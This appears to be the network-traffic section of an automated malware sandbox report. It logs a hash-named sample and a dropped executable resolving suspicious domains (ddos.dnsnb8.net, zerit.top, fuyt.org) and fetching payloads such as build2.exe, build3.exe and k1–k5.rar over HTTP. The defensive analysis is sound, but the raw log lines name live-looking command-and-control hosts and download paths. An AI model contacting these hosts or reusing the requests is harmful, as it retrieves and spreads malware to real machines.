Jul 25, 2024 02:12:10.180186987 CEST	80	53480	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:10.180262089 CEST	53480	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:10.180401087 CEST	53480	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:10.185128927 CEST	80	53480	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:10.364274025 CEST	799	53479	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:10.364407063 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:10.364468098 CEST	799	53479	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:10.364509106 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:10.366832018 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:10.371582985 CEST	799	53479	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:12.642560959 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:12.647592068 CEST	799	53483	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:12.647814989 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:12.647905111 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:12.652671099 CEST	799	53483	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:12.720819950 CEST	80	49716	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:12.720886946 CEST	49716	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:12.721030951 CEST	49716	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:12.725722075 CEST	80	49716	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:13.092186928 CEST	799	53483	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:13.092252970 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:13.092323065 CEST	799	53483	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:13.092372894 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:13.093141079 CEST	53483	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:13.098464966 CEST	799	53483	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:14.817521095 CEST	53484	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:14.822555065 CEST	80	53484	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:14.822669029 CEST	53484	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:14.822832108 CEST	53484	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:14.827697039 CEST	80	53484	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:15.859831095 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:15.864685059 CEST	799	53485	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:15.864777088 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:15.866867065 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:15.871664047 CEST	799	53485	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:16.267659903 CEST	799	53485	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:16.267730951 CEST	799	53485	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:16.267822027 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:16.267822027 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:16.317787886 CEST	53485	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:16.322704077 CEST	799	53485	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:17.755271912 CEST	53486	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:17.760462046 CEST	80	53486	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:17.760591984 CEST	53486	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:17.760782003 CEST	53486	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:17.765604973 CEST	80	53486	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:31.571255922 CEST	80	53480	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:31.571326017 CEST	53480	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:31.571453094 CEST	53480	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:31.576613903 CEST	80	53480	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:36.241420984 CEST	80	53484	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:36.241549969 CEST	53484	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:36.241672039 CEST	53484	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:36.246428967 CEST	80	53484	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:39.147542000 CEST	80	53486	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:39.147644997 CEST	53486	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:39.147751093 CEST	53486	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:39.152772903 CEST	80	53486	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:41.287729979 CEST	53487	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:41.292839050 CEST	80	53487	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:41.292934895 CEST	53487	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:41.293101072 CEST	53487	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:41.297930956 CEST	80	53487	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:44.192559958 CEST	53488	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:44.197442055 CEST	80	53488	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:44.197521925 CEST	53488	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:44.197640896 CEST	53488	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:44.202402115 CEST	80	53488	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:02.686090946 CEST	80	53487	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:02.686224937 CEST	53487	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:02.698719025 CEST	53487	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:02.704109907 CEST	80	53487	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:05.596400023 CEST	80	53488	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:05.596527100 CEST	53488	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:05.597237110 CEST	53488	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:05.601979017 CEST	80	53488	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:07.773058891 CEST	53489	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:07.777985096 CEST	80	53489	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:07.778088093 CEST	53489	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:07.778403044 CEST	53489	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:07.783139944 CEST	80	53489	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:10.616671085 CEST	53490	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:10.621711969 CEST	80	53490	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:10.621872902 CEST	53490	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:10.622111082 CEST	53490	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:10.627130985 CEST	80	53490	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:29.191445112 CEST	80	53489	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:29.191556931 CEST	53489	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:29.191832066 CEST	53489	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:29.196624041 CEST	80	53489	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:32.021260977 CEST	80	53490	92.246.89.93	192.168.2.8
Jul 25, 2024 02:13:32.021383047 CEST	53490	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:32.021459103 CEST	53490	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:13:32.026240110 CEST	80	53490	92.246.89.93	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 02:11:36.882980108 CEST	53469	53	192.168.2.8	1.1.1.1
Jul 25, 2024 02:11:36.979507923 CEST	53	53469	1.1.1.1	192.168.2.8
Jul 25, 2024 02:11:40.313754082 CEST	52441	53	192.168.2.8	1.1.1.1
Jul 25, 2024 02:11:40.320852041 CEST	53	52441	1.1.1.1	192.168.2.8
Jul 25, 2024 02:11:48.350442886 CEST	63981	53	192.168.2.8	1.1.1.1
Jul 25, 2024 02:11:48.351485968 CEST	50905	53	192.168.2.8	1.1.1.1
Jul 25, 2024 02:11:48.359539986 CEST	53	50905	1.1.1.1	192.168.2.8
Jul 25, 2024 02:11:48.778994083 CEST	53	63981	1.1.1.1	192.168.2.8
Jul 25, 2024 02:12:07.730822086 CEST	53	49218	162.159.36.2	192.168.2.8
Jul 25, 2024 02:12:08.225426912 CEST	60921	53	192.168.2.8	1.1.1.1
Jul 25, 2024 02:12:08.233088017 CEST	53	60921	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 02:11:36.882980108 CEST	192.168.2.8	1.1.1.1	0x6d92	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:40.313754082 CEST	192.168.2.8	1.1.1.1	0xc5b4	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:48.350442886 CEST	192.168.2.8	1.1.1.1	0x91be	Standard query (0)	zerit.top	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:48.351485968 CEST	192.168.2.8	1.1.1.1	0xc0e5	Standard query (0)	fuyt.org	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:12:08.225426912 CEST	192.168.2.8	1.1.1.1	0x8ebc	Standard query (0)	56.126.166.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 02:11:36.979507923 CEST	1.1.1.1	192.168.2.8	0x6d92	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:40.320852041 CEST	1.1.1.1	192.168.2.8	0xc5b4	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:40.320852041 CEST	1.1.1.1	192.168.2.8	0xc5b4	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:48.359539986 CEST	1.1.1.1	192.168.2.8	0xc0e5	No error (0)	fuyt.org		92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:11:48.778994083 CEST	1.1.1.1	192.168.2.8	0x91be	No error (0)	zerit.top		92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:12:08.233088017 CEST	1.1.1.1	192.168.2.8	0x8ebc	Name error (3)	56.126.166.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

ddos.dnsnb8.net:799

fuyt.org

zerit.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	44.221.84.105	799	7344	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:37.006489038 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	44.221.84.105	799	7344	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:40.422425985 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49708	44.221.84.105	799	7344	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:43.195158958 CEST	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:48.365358114 CEST	136	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:48.787560940 CEST	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zerit.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49716	92.246.89.93	80	7996	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:11:51.334244967 CEST	125	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49723	44.221.84.105	799	6644	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:03.003374100 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49725	44.221.84.105	799	6644	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:06.169009924 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	53479	44.221.84.105	799	6644	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:09.961146116 CEST	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	53480	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:10.180401087 CEST	93	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	53483	44.221.84.105	799	6644	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:12.647905111 CEST	288	OUT	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	53484	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:14.822832108 CEST	136	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	53485	44.221.84.105	799	6644	C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:15.866867065 CEST	288	OUT	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	53486	92.246.89.93	80	7996	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:17.760782003 CEST	125	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	53487	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:41.293101072 CEST	136	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	53488	92.246.89.93	80	7996	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:12:44.197640896 CEST	125	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	53489	92.246.89.93	80	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:13:07.778403044 CEST	136	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	53490	92.246.89.93	80	7996	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:13:10.622111082 CEST	125	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	188.114.96.3	443	7552	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:11:41 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:11:41 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=is9d5aM12R1d%2FbSTDS9EE5UEYGNhwbpTx1YCvnfFVitUECoQg7nSWOGDhDwFjkYc2Jcu8AwNfnYXB5msZrt3XlQTtyqaeSi2BJLKYHFSxtjG0RTUxa%2FagQAGRZKw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87ef1db9eb43d3-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:11:41 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 62 35 33 35 65 35 37 34 62 37 62 30 39 35 32 34 62 31 35 35 36 35 65 30 34 34 38 34 65 35 39 35 31 35 65 35 38 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#3b535e574b7b09524b15565e04484e59515e58
2024-07-25 00:11:41 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 37 65 66 65 32 65 62 66 37 63 37 62 35 65 65 66 37 61 39 66 32 65 36 62 38 66 34 66 32 65 35 65 64 65 32 65 34 66 33 62 61 62 35 65 65 66 37 61 39 66 32 65 36 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#87efe2ebf7c7b5eef7a9f2e6b8f4f2e5ede2e4f3bab5eef7a9f2e6"><s
2024-07-25 00:11:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	188.114.96.3	443	7852	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:11:47 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:11:48 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4KBr3AsLv%2FAQwSlcRTmI3V1m71OfXumkqIjONxCpOXbt9ctUMtJRwb7dIeTQ0gqeD8sEYPr9BVHVhWkQzcgGH0Mq5YG59P%2F6PVW3LWLWWxodwKfPdCSjaDobWNLD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87ef48ed120cc2-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:11:48 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 39 30 31 30 63 30 35 31 39 32 39 35 62 30 30 31 39 34 37 30 34 30 63 35 36 31 61 31 63 30 62 30 33 30 63 30 61 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#69010c0519295b001947040c561a1c0b030c0a
